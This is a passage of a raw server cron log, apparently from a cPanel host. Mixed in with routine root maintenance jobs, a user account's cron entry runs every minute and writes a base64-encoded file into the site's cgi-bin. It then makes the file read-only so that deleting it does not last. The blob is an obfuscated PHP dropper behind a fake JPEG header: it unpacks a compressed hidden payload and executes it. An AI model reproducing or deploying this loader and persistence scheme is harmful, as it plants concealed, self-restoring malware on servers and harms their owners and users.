RmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:58:01 server CROND[14548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:59:01 server CROND[14609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:00:01 server CROND[14675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:00:01 server CROND[14676]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:00:01 server CROND[14678]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 21:00:01 server CROND[14677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:01:01 server CROND[14815]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 21:01:01 server CROND[14816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:01:01 server run-parts(/etc/cron.hourly)[14815]: starting 0anacron
Apr 12 21:01:01 server run-parts(/etc/cron.hourly)[14828]: finished 0anacron
Apr 12 21:02:01 server CROND[14990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:03:01 server CROND[15058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:04:01 server CROND[15133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:05:01 server CROND[15195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:05:01 server CROND[15196]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:05:01 server CROND[15197]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 21:05:01 server CROND[15198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:06:01 server CROND[15310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:07:01 server CROND[15468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:08:01 server CROND[15526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:09:01 server CROND[15602]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 21:09:01 server CROND[15603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:10:01 server CROND[15655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 21:10:01 server CROND[15656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:10:01 server CROND[15657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:10:01 server CROND[15658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:11:01 server CROND[15763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 